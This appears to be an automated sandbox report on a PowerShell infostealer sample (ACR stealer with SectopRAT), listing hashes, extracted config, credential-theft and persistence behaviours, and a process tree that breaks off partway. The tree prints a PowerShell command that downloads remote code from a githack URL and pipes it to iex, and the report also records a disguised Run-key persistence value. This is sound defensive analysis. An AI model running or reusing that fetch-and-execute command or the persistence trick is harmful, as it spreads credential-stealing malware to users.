acrstealer | 431f3f1064aa30efe9df89246dbfac78edb1a1b82b1adadfce500540c002949f

Analysis

max time kernel
149s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
22/09/2026, 12:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
20cD-3-6-9-D.ps1
Size 93KB
Sample260922-pgldfssxft
SHA256 431f3f1064aa30efe9df89246dbfac78edb1a1b82b1adadfce500540c002949f
MD5 776e3ae75e06edbfd0b702521b89950c
SHA1 3cb7b0a36fc1eb2e443bb2238c51d31b9ae92317
SHA512 aaea91875ff50f32ced8c8ca6b97f96e997ee8777c0f66472015c5f6920eeabf60e515f68711ee2518bd4efeb6e3dc4ef174419d7bc1b02e8bc2813b4cd338c1
SSDEEP 1536:be1FJGsdpjk0oNuPtgtQCTpnF9Q90adz4zcpNpfO+GL1jfrwNdP9/qSw7ieYi:bkF8spjPyuP+JpF9Q9Pz4zWOL1jfUnZu
TLSH
T1DD9322053B8C95E010CDDDBE0FC06CA956AEE072D3DADC9C66CF5A84AB43AFA459C474
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution acrstealer sectoprat persistence rat spyware stealer trojan

Malware Config

Extracted

Family

acrstealer

Version

4.4.2-alpha1

Decoy

fastly.net

Attributes

ddrs
https://telegra.ph/C-Introduction-08-21
guids
f1575b64-8492-4e8b-b102-4d26e8c70371

019fd84c-02e7-7a67-9097-4f73d632de4a
user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36

xor.hex

Signatures

Family: ACR stealer,GrMsk
ACR stealer (aka GrMsk stealer) is an infostealer written in C++.
stealer acrstealer
Family: SectopRAT
SectopRAT is a remote access trojan first seen in November 2019.
trojan rat sectoprat

SectopRAT payload 1 IoCs

resource	yara_rule
behavioral1/memory/6064-5768-0x0000000000400000-0x000000000046C000-memory.dmp	family_sectoprat

Suspicious use of NtCreateUserProcessOtherParentProcess 3 IoCs

description	pid	Process	procid_target
PID 4584 created 3280	4584	rundll32.exe	56
PID 4584 created 3280	4584	rundll32.exe	56
PID 4584 created 3280	4584	rundll32.exe	56

Badlisted process makes network request 12 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
20	3892	powershell.exe
22	3892	powershell.exe
23	4584	rundll32.exe
24	4584	rundll32.exe
25	4584	rundll32.exe
26	4584	rundll32.exe
27	4584	rundll32.exe
243	4584	rundll32.exe
244	4584	rundll32.exe
245	4584	rundll32.exe
246	4584	rundll32.exe
248	5276	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
3200	AutoIt3.exe
6064	RegAsm.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MicrosoftEdgeAutoLaunch_11E9365CAE7D306ED3CD56E1B0DA0412 = "\"C:\\Users\\Admin\\AppData\\Roaming\\64348b011b5b\\AutoIt3.exe\" \"C:\\Users\\Admin\\AppData\\Roaming\\64348b011b5b\\Fabrics.a3x\""	powershell.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3260	powershell.exe
5276	powershell.exe
3892	powershell.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
21	raw.githubusercontent.com
22	raw.githubusercontent.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3200 set thread context of 6064	3200	AutoIt3.exe	164

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4128	chrome.exe
1292	msedge.exe

Checks processor information in registry 2 TTPs 22 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134345531004168244"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe

Modifies registry class 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2101206053-1414382737-268919432-1000\{D5B83C10-B933-4BFF-B1C5-0457563E6C45}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3260	powershell.exe
3260	powershell.exe
3892	powershell.exe
3892	powershell.exe
3892	powershell.exe
4584	rundll32.exe
4584	rundll32.exe
4584	rundll32.exe
4584	rundll32.exe
4584	rundll32.exe
4584	rundll32.exe
4584	rundll32.exe
4584	rundll32.exe
4584	rundll32.exe
4584	rundll32.exe
4584	rundll32.exe
4584	rundll32.exe
4584	rundll32.exe
4584	rundll32.exe
4584	rundll32.exe
4584	rundll32.exe
4584	rundll32.exe
4584	rundll32.exe
4584	rundll32.exe
4584	rundll32.exe
4584	rundll32.exe
4584	rundll32.exe
4584	rundll32.exe
4584	rundll32.exe
4584	rundll32.exe
4584	rundll32.exe
4584	rundll32.exe
4584	rundll32.exe
4584	rundll32.exe
4584	rundll32.exe
4584	rundll32.exe
4584	rundll32.exe
4584	rundll32.exe
4584	rundll32.exe
4584	rundll32.exe
4584	rundll32.exe
4584	rundll32.exe
4584	rundll32.exe
4584	rundll32.exe
4584	rundll32.exe
4584	rundll32.exe
4584	rundll32.exe
4584	rundll32.exe
4584	rundll32.exe
4584	rundll32.exe
4584	rundll32.exe
4584	rundll32.exe
4584	rundll32.exe
4584	rundll32.exe
4584	rundll32.exe
4584	rundll32.exe
4584	rundll32.exe
4584	rundll32.exe
4584	rundll32.exe
4584	rundll32.exe
4584	rundll32.exe
4584	rundll32.exe
4584	rundll32.exe
4584	rundll32.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
4584	rundll32.exe
4584	rundll32.exe
4584	rundll32.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 8 IoCs

pid	Process
4468	chrome.exe
4468	chrome.exe
4468	chrome.exe
4468	chrome.exe
4352	msedge.exe
4352	msedge.exe
4352	msedge.exe
4352	msedge.exe

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	3260	powershell.exe
Token: SeDebugPrivilege	3892	powershell.exe
Token: SeShutdownPrivilege	4468	chrome.exe
Token: SeCreatePagefilePrivilege	4468	chrome.exe
Token: SeShutdownPrivilege	4468	chrome.exe
Token: SeCreatePagefilePrivilege	4468	chrome.exe
Token: SeShutdownPrivilege	4468	chrome.exe
Token: SeCreatePagefilePrivilege	4468	chrome.exe
Token: SeShutdownPrivilege	4468	chrome.exe
Token: SeCreatePagefilePrivilege	4468	chrome.exe
Token: SeShutdownPrivilege	4468	chrome.exe
Token: SeCreatePagefilePrivilege	4468	chrome.exe
Token: SeShutdownPrivilege	4468	chrome.exe
Token: SeCreatePagefilePrivilege	4468	chrome.exe
Token: SeShutdownPrivilege	4468	chrome.exe
Token: SeCreatePagefilePrivilege	4468	chrome.exe
Token: SeShutdownPrivilege	4468	chrome.exe
Token: SeCreatePagefilePrivilege	4468	chrome.exe
Token: SeShutdownPrivilege	4468	chrome.exe
Token: SeCreatePagefilePrivilege	4468	chrome.exe
Token: SeDebugPrivilege	5276	powershell.exe
Token: SeDebugPrivilege	6064	RegAsm.exe

Suspicious use of FindShellTrayWindow 40 IoCs

pid	Process
4468	chrome.exe
4468	chrome.exe
4468	chrome.exe
4468	chrome.exe
4468	chrome.exe
4468	chrome.exe
4468	chrome.exe
4468	chrome.exe
4468	chrome.exe
4468	chrome.exe
4468	chrome.exe
4468	chrome.exe
4468	chrome.exe
4468	chrome.exe
4468	chrome.exe
4468	chrome.exe
4468	chrome.exe
4468	chrome.exe
4468	chrome.exe
4468	chrome.exe
4468	chrome.exe
4468	chrome.exe
4468	chrome.exe
4468	chrome.exe
4468	chrome.exe
4468	chrome.exe
4468	chrome.exe
4468	chrome.exe
4468	chrome.exe
4468	chrome.exe
4468	chrome.exe
4468	chrome.exe
4468	chrome.exe
4468	chrome.exe
4352	msedge.exe
4352	msedge.exe
1304	firefox.exe
3200	AutoIt3.exe
3200	AutoIt3.exe
3200	AutoIt3.exe

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
3200	AutoIt3.exe
3200	AutoIt3.exe
3200	AutoIt3.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3260 wrote to memory of 2896	3260	powershell.exe	89
PID 2896 wrote to memory of 3980	2896	csc.exe	90
PID 3260 wrote to memory of 2408	3260	powershell.exe	91
PID 2408 wrote to memory of 400	2408	csc.exe	92
PID 3260 wrote to memory of 3892	3260	powershell.exe	94
PID 3892 wrote to memory of 4584	3892	powershell.exe	96
PID 3892 wrote to memory of 4584	3892	powershell.exe	96
PID 4584 wrote to memory of 4468	4584	rundll32.exe	97
PID 4468 wrote to memory of 756	4468	chrome.exe	98
PID 4468 wrote to memory of 5072	4468	chrome.exe	99
PID 4468 wrote to memory of 5072	4468	chrome.exe	99
PID 4468 wrote to memory of 4128	4468	chrome.exe	100
PID 4468 wrote to memory of 1872	4468	chrome.exe	101
PID 4468 wrote to memory of 1872	4468	chrome.exe	101
PID 4468 wrote to memory of 4348	4468	chrome.exe	103
PID 4468 wrote to memory of 4348	4468	chrome.exe	103
PID 4468 wrote to memory of 2700	4468	chrome.exe	104
PID 4468 wrote to memory of 2700	4468	chrome.exe	104
PID 4468 wrote to memory of 3376	4468	chrome.exe	105
PID 4468 wrote to memory of 3376	4468	chrome.exe	105
PID 4468 wrote to memory of 3264	4468	chrome.exe	106
PID 4468 wrote to memory of 3264	4468	chrome.exe	106
PID 4468 wrote to memory of 4944	4468	chrome.exe	107
PID 4584 wrote to memory of 4352	4584	rundll32.exe	110
PID 4352 wrote to memory of 3700	4352	msedge.exe	111
PID 4352 wrote to memory of 1292	4352	msedge.exe	112
PID 4352 wrote to memory of 5048	4352	msedge.exe	113
PID 4352 wrote to memory of 5048	4352	msedge.exe	113
PID 4352 wrote to memory of 5048	4352	msedge.exe	113
PID 4352 wrote to memory of 1232	4352	msedge.exe	115
PID 4352 wrote to memory of 1232	4352	msedge.exe	115
PID 4352 wrote to memory of 4484	4352	msedge.exe	116
PID 4352 wrote to memory of 4484	4352	msedge.exe	116
PID 4352 wrote to memory of 4484	4352	msedge.exe	116
PID 4352 wrote to memory of 2452	4352	msedge.exe	117
PID 4352 wrote to memory of 2452	4352	msedge.exe	117
PID 4352 wrote to memory of 2452	4352	msedge.exe	117
PID 4352 wrote to memory of 4732	4352	msedge.exe	118
PID 4352 wrote to memory of 4732	4352	msedge.exe	118
PID 4352 wrote to memory of 4732	4352	msedge.exe	118
PID 4352 wrote to memory of 2816	4352	msedge.exe	119
PID 4352 wrote to memory of 2816	4352	msedge.exe	119
PID 4352 wrote to memory of 2816	4352	msedge.exe	119
PID 4352 wrote to memory of 3076	4352	msedge.exe	121
PID 4352 wrote to memory of 3076	4352	msedge.exe	121
PID 4352 wrote to memory of 2656	4352	msedge.exe	122
PID 4352 wrote to memory of 2656	4352	msedge.exe	122
PID 4352 wrote to memory of 5240	4352	msedge.exe	123
PID 4352 wrote to memory of 5240	4352	msedge.exe	123
PID 4352 wrote to memory of 5252	4352	msedge.exe	124
PID 4352 wrote to memory of 5252	4352	msedge.exe	124
PID 4352 wrote to memory of 5380	4352	msedge.exe	128
PID 4352 wrote to memory of 5764	4352	msedge.exe	130
PID 4352 wrote to memory of 5764	4352	msedge.exe	130
PID 4352 wrote to memory of 3332	4352	msedge.exe	131
PID 4352 wrote to memory of 3332	4352	msedge.exe	131
PID 4352 wrote to memory of 6056	4352	msedge.exe	132
PID 4352 wrote to memory of 6056	4352	msedge.exe	132
PID 4352 wrote to memory of 6092	4352	msedge.exe	133
PID 4352 wrote to memory of 6092	4352	msedge.exe	133
PID 4352 wrote to memory of 1944	4352	msedge.exe	134
PID 4352 wrote to memory of 1944	4352	msedge.exe	134
PID 4748 wrote to memory of 1304	4748	firefox.exe	138
PID 4748 wrote to memory of 1304	4748	firefox.exe	138

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3280
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\20cD-3-6-9-D.ps1
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3260
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\fpp5cqq1\fpp5cqq1.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2896
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4B9.tmp" "c:\Users\Admin\AppData\Local\Temp\fpp5cqq1\CSCE193453A6E421385313644384D6C75.TMP"
      4⤵
      PID:3980
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\qcsxavca\qcsxavca.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2408
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES584.tmp" "c:\Users\Admin\AppData\Local\Temp\qcsxavca\CSCC6F2A80995104E3798FC8DEF20DD17B8.TMP"
      4⤵
      PID:400
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NoProfile -Command [Net.ServicePointManager]::SecurityProtocol = [Net.ServicePointManager]::SecurityProtocol -bor [Net.SecurityProtocolType]::Tls12; irm rawcdn.githack.com/e438e-1E-4/684-3-2A0-f544004D-DfA234/refs/heads/main/dC2C59-C883-8B-096194-732E60 | iex
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3892
  - - C:\Windows\SysWOW64\rundll32.exe
      "C:\Windows\SysWOW64\rundll32.exe"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Badlisted process makes network request
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      Suspicious use of WriteProcessMemory
      PID:4584
    - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\sc0kokAZXQeskx0I\sc0kokEUClyXe7hO.ps1"
        5⤵
        Badlisted process makes network request
        Adds Run key to start application
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:5276
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ztfrioah\ztfrioah.cmdline"
        6⤵
        
        PID:5340
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB2BC.tmp" "c:\Users\Admin\AppData\Local\Temp\ztfrioah\CSC3EE27F30445442938A9BE0F6D16CFFF5.TMP"
        7⤵
        
        PID:5144
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\urjydqpi\urjydqpi.cmdline"
        6⤵
        
        PID:2324
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB414.tmp" "c:\Users\Admin\AppData\Local\Temp\urjydqpi\CSCC15E86EA6EB7420697B3CCAFCC9CB98.TMP"
        7⤵
        
        PID:5084
    - - C:\Windows\SysWOW64\dllhost.exe
        
        "C:\Windows\SysWOW64\dllhost.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3204
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --no-default-browser-check
  2⤵
  - Checks processor information in registry
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:4468
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ff9209fc728,0x7ff9209fc734,0x7ff9209fc740
    3⤵
    PID:756
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1716,i,10933953949300174368,18119630833840939656,262144 --field-trial-handle=1980,i,5125821505912884701,7528278747289223293,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=1976 /prefetch:2
    3⤵
    PID:5072
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1560,i,1677610961261210032,14425246211510055527,524288 --field-trial-handle=1980,i,5125821505912884701,7528278747289223293,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=2264 /prefetch:3
    3⤵
    - System Time Discovery
    PID:4128
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2352,i,3897728266010764851,1472143598802335113,524288 --field-trial-handle=1980,i,5125821505912884701,7528278747289223293,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=2508 /prefetch:8
    3⤵
    PID:1872
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3192,i,5198674232672152150,7067120685046060307,2097152 --field-trial-handle=1980,i,5125821505912884701,7528278747289223293,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=3228 /prefetch:1
    3⤵
    PID:4348
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3196,i,16506497281420236380,1617593985865809042,2097152 --field-trial-handle=1980,i,5125821505912884701,7528278747289223293,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=3252 /prefetch:1
    3⤵
    PID:2700
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4188,i,17595923644353788300,1467167195720529223,2097152 --field-trial-handle=1980,i,5125821505912884701,7528278747289223293,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=4248 /prefetch:2
    3⤵
    PID:3376
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=3808,i,737969162154463026,17105874880015292810,2097152 --field-trial-handle=1980,i,5125821505912884701,7528278747289223293,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=4516 /prefetch:1
    3⤵
    PID:3264
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5432,i,6444991816141030730,17454722785839859782,524288 --field-trial-handle=1980,i,5125821505912884701,7528278747289223293,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=5444 /prefetch:8
    3⤵
    PID:4944
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-first-run --no-default-browser-check
  2⤵
  - Checks processor information in registry
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:4352
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
